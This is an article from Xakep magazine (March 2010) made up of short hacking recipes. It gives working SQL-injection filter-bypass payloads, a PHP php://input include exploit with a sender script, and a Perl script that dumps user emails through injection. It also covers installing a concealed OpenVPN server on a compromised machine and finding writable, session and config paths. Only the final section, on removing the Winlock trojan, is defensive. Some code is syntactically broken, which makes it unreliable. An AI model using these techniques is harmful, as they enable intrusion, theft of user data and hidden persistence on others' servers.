Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 135, МАРТ 2010 г.

Хакерские секреты простых вещей

Spyder (spyder@antichat.net)
Леонид «Cr@wler» Исупов (crawler@xakep.ru)

Задача: Обойти фильтрацию пробелов в SQL-injection

Решение

В прошлом номере я уже рассказал, как можно обойти фильтрацию запятых, но подобная фильтрация встречается крайне редко, совсем другой случай – фильтрация пробелов. Скажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код

<?php
if(isset($_GET['id']) && $_GET['id']!=''){
if(strstr($_GET['id']," ") {die "HACK ALERT"};
if(strstr($_GET['id'],"/**/") {die "HACK ALERT"};
if(strstr($_GET['id'],"+") {die "HACK ALERT"};
if(strstr($_GET['id'],"%20") {die "HACK ALERT"};

здесь какие-то запросы с использованием переменной $_GET['id']

Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.

1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ;)) список:

  • %09 – horizontal tab, горизонтальная табуляция
  • %0A – NL line feed, символ новой строки
  • %0B – vertical tab, вертикальная табуляция
  • %0C – NP form feed, символ новой страницы
  • %0D – carriage return, возврат каретки

Все эти символы будут рассматриваться как пробельные. Пример запроса:

id=-1%0Aunion%0Aselect%0A1

C этим, я думаю, все понятно, перейдем ко второму варианту:

2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:

select id/*!,title*/ from news

В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:

id=-1/*!union*/select/*!version()*/

Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:

id=(-1)union(select(version()))

Задача: Установить OpenVPN на взломанный сервер

Решение

Задача интересная и в принципе ничем не отличается от установки OpenVPN на отдельный сервер, но все же мы ее рассмотрим. Итак, сплоит сработал, whoami показывает root, и встает вопрос: что же делать дальше :) ?. Хорошим выбором будет установка собственного VPN-сервера.

1. Для начала узнаем о поддержке модуля tun

modprobe tap
lsmod | grep tap

2. Если все хорошо, то приступаем непосредственно к установке OpenVPN. Для начала стоит проверить наличие библиотеки lzo, она используется для компрессии трафика.

locate lzo.so

3. Если он не установлен, то им можно и пренебречь, в таком случае трафик сжиматься не будет. Если же ты все-таки хочешь сжатие, можешь поставить либу из исходных кодов. Скачиваем последнюю версию (ссылку не привожу, так как версии часто меняются) и устанавливаем так же как и все другие программы на linux.

tar xzvf lzo.tgz
cd lzo
./configure
make
make install

4. Итак, lzo установлено, теперь скачиваем последнюю версию openvpn и устанавливаем подобно lzo:

tar xzvf vpn.tgz
cd vbb
./configure
make
make install

5. Сервер установлен. Теперь нужно сгенерировать все ключи и сертификаты для его работы. Переходим в папку /etc/openvpn/, из папки с исходными кодами openvpn нужно скопировать сюда подпапки easy-rsa и sample-config-files

Переходим в папку /etc/openvpn/easy-rsa и выполняем:

. ./vars (загружаем переменные в оболочку)
./clean-all (отчищаем от старых сертификатов и ключей папку keys )
./build-ca (Создаем сертификат для сервера)
./build-key-server server (Создаем сертификат X.509 для сервера)
./build-key-pkcs12 client (Создаем сертификат X.509 для клиента)

При генерации ключей будет спрашиваться Common name для клиента и сервера. Для клиента вписывай client, для сервера server.

6. Сертификаты и ключи созданы, теперь сгенерируем ключ Деффи Хельман

./build-dh

7. Все ключи и сертификаты сгенерированы, теперь создадим файл конфигурации.

touch /etc/openvpn/server.conf

И вносим в файл следующие изменения

port 443
proto tcp
dev tap
cipher DES-EDE3-CBC
reneg-sec 60
ca /etc/openvpn/easy-rsa/keys/ca.crt
cert /etc/openvpn/easy-rsa/keys/server.crt
key /etc/openvpn/easy-rsa/keys/server.key
dh /etc/openvpn/easy-rsa/keys/dh2048.pem
server 10.10.200.0 255.255.255.0
client-config-dir ccd
push "dhcp-option DNS 222.222.222.222"
push "dhcp-option DNS 22.22.222.222"
push "redirect-gateway"
keepalive 10 120
persist-key
persist-tun
comp-lzo
verb 0

8. Включаем ip-форвадинг и вносим изменения в iptables:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.10.200.0/24 -j SNAT --to 127.0.0.1
127.0.0.1 нужно поменять на ip сервера, куда установлен VPN

9. Из папки с исходниками vpn/sample-scripts файл openvpn.init переименовываем во что-то неброское (к примеру, init) и копируем в /etc/init.d/

Далее запускаем сервер:

/etc/init.d/init start

10. Сервер работает, теперь необходимо настроить клиент. Настройку для различных ОС ты можешь найти в Сети, ибо это тема отдельной статьи :). Советую предварительно поменять имя приложения OpenVPN также на что-либо неброское, чтобы администратор взломанного сервера не определил, что на его машине крутятся посторонние вещи.

Задача: Выполнить PHP-код через удаленный инклуд

Решение

Еще в далеком 2004 году на SecurityLab был опубликован способ, с помощью которого можно было выполнять произвольный php-код посредством врапера php://input. Сейчас я расскажу тебе, как это работает.

Итак, у нас есть уязвимый файл, с таким содержимым:

<?php

if(isset($_GET['page'])) {
include($_GET['page']);
}

Когда мы передаем скрипту в параметре page php://input

http://www.example.com/index.php?page=php://input

то происходит считывание и выполнение данных, посланных методом POST. Грубо говоря, весь массив POST становится файлом, и include подключает его как обычный файл. Для проведения атаки мы должны отправить специально сформированный пакет.

1. Сейчас мы отправим PHP-код методом POST:

POST /index.php?page=php://input HTTP/1.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)
Host: www.example.com
Connection: Keep-Alive
Cache-Control: no-cache

<?php phpinfo() ?>

В ответе сервера будет отображен вывод phpinfo().

2. Напишем PHP-скрипт для удобной работы со средой.

<?php

if (isset($_GET['cmd']) && isset($_GET['host']) && isset($_GET['script'])) {
$host = stripslashes(@$_GET['host']);
$script = stripslashes(@$_GET['script']);
$cmd = htmlspecialchars_decode(stripslashes(@$_GET['cmd']));
$cmd = '<?php ' . $cmd . ' ?>';
$request = "POST /" . $script . "php://input" . " HTTP/1.1rn";
$request .= "Accept-Language: enrn";
$request .= "Content-Type: application/x-www-form-urlencodedrn";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)rn";
$request .= "Host: " . $host . "rn";
$request .= "Content-length: " . strlen($cmd) . "rn";
$request .= "Connection: Keep-Alivern";
$request .= "Cache-Control: no-cachern";
$request .= "rn";
$request .= $cmd . "rn";
$socket = fsockopen($host, $port ? $port : 80);
fputs($socket, $request);
while(!feof($socket)) echo fgets($socket, 1024);
fclose($socket);
}
?>

3. Запускаем его следующим образом:

http://localhost/input.php?host=www.example.com&script=index.php?page=&cmd=phpinfo()

4. Наслаждаемся результатом :).

Задача: Написать универсальный дампер таблиц через SQL-инъекции

Решение

Очень хорошо иметь у себя универсальный дампер таблицы, давай же напишем его. Привожу небольшой код с комментариями, которые помогут тебе разобраться в скрипте.

#!/usr/bin/perl
use LWP::Simple; #подгружаем пакет LWP::Simple для работы с http
open(FH,">dump.txt"); #открываем файл на запись
$lim=0; # предопределяем переменную $lim которая будет участвовать в запросе в качестве limit

while(1) { #начинаем бесконечный цикл

$url="http://www.example.com/profile.php?id=-1+union+select+concat('c0de',email,'ed0c')+from+users+limit+$lim,1"; # Здесь мы указываем где именно находится SQL-инъекция, обрати внимание на объединение поля e-mail со строками, они будут использоваться регулярных выражениях
$content = get("$url"); # выполним функцию get(), Она вернет содержимое загруженной страницы
if($content =~ m/c0de(.*)ed0c/) { # c помощью регулярки вытаскиваем значение поля email
print FH $1."n"; # и заносим его в файл
$lim++; # увеличиваем значение переменой $lim на единицу
} else { # если в исходном коде нет записей
print 'Total dumped ' . $lim; # выводим общее количество сдампленых записей
exit; # и прекращаем работу скрипта
}
}

Вот и все! Как ты видишь, скрипт довольно простой и будет работать в большинстве случаев, хотя иногда приходится переписывать под конкретный сайт.

Задача: Найти папки и файлы доступные на запись

Решение

Во многих шеллах есть встроенные утилиты для поиска папок на запись, примеры тому r57, c99 и другие. Все они работают по одному и тому же способу

find . -perm -2 -type -d -ls

Такой поиск не всегда эффективен. На крупных порталах может быть не один, а множество пользователей и иногда есть шанс найти папку или файл, принадлежащий юзеру, от которого ты работаешь. Вот небольшой список команд, которые стоит выполнять вместе приведенной выше.

find . -user www -type d -ls – поиск папок, у которых владелец www
find . -user www -perm /222 -type d -ls – то же самое, но поиск ограничен папками доступными на запись
find . -group www -type d -ls – поиск папок, принадлежащих к группе www
find . -perm -a+w -type d -ls – поиск папок, доступных на запись всем (например, dr-xr-xrwx)

Последний пример является лучшей заменой привычного find . -perm -2 -type -d -ls, так как ищет не только drwxrwxrwx , но и другие комбинации с окончанием rwx.

Задача: Найти папку, в которой хранятся файлы сессий

Решение

Как известно, файл сессии – хороший способ раскрутить локальный инклуд, но как же определить папку в которой они находятся? Ведь не всегда они хранятся в /tmp. Привожу излюбленные мной способы поиска заветной папки.

1. Поиск phpinfo() на сайте. Для этого ищем session.save_handler. Если его значение установлено в «files» по дефолту, значит сессии хрантся в файлах, ниже находится значение session.save_path.

Первое значение – это так называемое Local Value, уникально значение для конкретной папки и ее подпапок (либо для конкретного сайта), устанавливается в .htaccess.

Второе значение – это Master Value , общее значение для всего сервера, устанавливается в php.ini.

2. Поиск .htaccess, в этом файле может быть установлено значение php_value для session.save_path.

3. Простой перебор папок. Привожу небольшой список возможных вариантов каталогов, где может находиться желаемое.

/tmp/
/php_sess/
/tmp/phpsess/
/tmp/php/
/tmp/php-sess/
/home/%username%/tmp/
/var/phptemp/
/var/phptmp/
/var/phpsess/
/var/php-sess/
/var/lib/php/
/var/lib/php/session/
/var/lib/php3
/var/lib/php3/session/
/var/lib/php4/
/var/lib/php4/session/
/var/lib/php5/
/var/lib/php5/session/
/var/lib/php6/
/var/lib/php6/session/
/www/phpsession/
C:Temp
C:WINDOWSTemp
C:PHPsessiondata

Задача: Найти httpd.conf

Решение

В Интернете существует множество баз возможных путей до конфига апача, но можно ли узнать путь с первой попытки? Иногда да. Часто процессы, в том числе и apache, запускаются через init-демон, для этого в папке /etc/init.d/ должен находится bash-скрипт для запуска приложений. И выглядит он примерно так:

pname=apache2
: ${sysconfdir:=/etc/$pname}
: ${apache_link:=/usr/sbin/httpd2}
: ${sysconfig_apache:=/etc/sysconfig/$pname}
: ${pidfile:=/var/run/httpd2.pid}
: ${logdir:=/var/log/$pname}

httpd_conf=${APACHE_HTTPD_CONF:-$sysconfdir/httpd.conf}

В данном случае конфиг находится в /etc/apache2/httpd.conf.

Также ты можешь (при наличии соответствующих прав) посмотреть лог-файл messages, в котором также пишется название рабочего конфига. Или же просто набрать «locate httpd.conf» и надеяться на удачу.

Задача: избавиться от трояна Winlock, назойливо предлагающего отправить платное SMS-сообщение.

Решение

Об этом вирусе писали все, кому не лень (и даже в СМИ). Подобной заразой были инфицированы миллионы компьютеров, и вероятность того, что твой комп сегодня подхватит такую заразу, очень велика (несмотря на установленные антивирусы). Обычно такой трой блокирует рабочий стол, выводя на нем надпись о блокировке компьютера по разным причинам (напоминание об использовании нелицензионного ПО, красочный порно-баннер, текст об обнаружении вируса и т.п.). Параллельно с этим троянчик блокирует запуск редактора системного реестра, командной строки, диспетчера задач, запуск антивирусных средств, предотвращает переход по ссылкам на сайты антивирусов, отключает сервис "Восстановление системы" и делает массу подобных «приятных» мелочей :).

Для излечения от трояна главное – не посылать никаких сообщений (хотя в ряде случаев система действительно разблокируется, но обычно просто спишется 300-600 рублей без последующего излечения). Вот несколько способов по убийству этого трояна:

1. Попытайся воспользоваться бесплатным сервисом разблокировки, предоставленным лабораторией Касперского (support.kaspersky.ru/viruses/deblocker) или любым другим. Если разблокировка выполнена удачно, удали все файлы, содержащиеся во временных каталогах всех пользователей ("c:windowstemp", очисти папки "Temp" и "Temporary Internet Files", содержащиеся в "c:documents and settingsимя_пользователяLocal Settings"). Также убедись в том, что в папках "System Volume Information", которые находятся в корневых директориях дисков, отсутствуют подозрительные объекты.

2. Скачай и запиши LiveCD-дистрибутив, разработанный антивирусной лабораторией Данилова (freedrweb.com/livecd/), сконфигурируй BIOS для запуска с привода для оптических дисков, загрузись с LiveCD и выполни полную проверку системы. Также ты можешь воспользоваться любым Live-дистрибутивом Windows в тандеме с утилитой CureIt (либо программой ERD Explorer, прим. ред.).

3. Если запуск системы прошел удачно, выполни полную проверку компьютера антивирусом (бесплатный антивирусный пакет можно скачать здесь freedrweb.com/cureit).

4. Включи редактор реестра, заблокированный вирусом, возможности командной строки, "Диспетчер задач" следующим образом: нажми сочетание клавиш <Win+R>, в появившемся окне введи "gpedit.msc". В появившемся окне выбери раздел "Групповая политика -> Конфигурация пользователя -> Административные шаблоны -> Система". Выполни двойной клик по строке "Сделать недоступными средства редактирования реестра", выбери вариант "Отключен" и подтверди выбор нажатием на кнопку "Ok". Аналогичным образом включается и работоспособность командной строки. Чтобы включить диспетчер задач, нужно скорректировать параметр "Удалить диспетчер задач", находящийся в разделе "Групповая политика -> Конфигурация пользователя -> Административные шаблоны -> Система -> Возможности Ctrl-Alt-Del".

Также «Диспетчер задач» можно активировать при помощи "regedit.exe", если он уже разблокирован. Установи параметр "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr" в нулевое значение.

5. Если большинство программ и после проделанной работы отказываются запускаться, проверь, что текстовый параметр (Default), находящийся в ветках реестра:

HKEY_CLASSES_ROOTexefileshellopencommand
HKEY_CLASSES_ROOTexefileshellrunascommand

, имеет значение "%1" %*.

Главная причина заражения этим довольно опасным вирусом – невнимательность и пренебрежение безопасностью. Поэтому, если обновление твоей системы давно не выполнялось, набери в командной строке wuauclt.exe /detectnow, чтобы запустить процесс вручную. Выполняй с правами администратора только те программы, в безопасности которых ты уверен. Обнови базы антивируса, заранее подготовь LiveCD-дистрибутив, содержащий антивирусные утилиты. Но главное – перед запуском все файлы, полученные из непроверенных источников, проверяй на virustotal.com.

Содержание
ttfb: 5.9690475463867 ms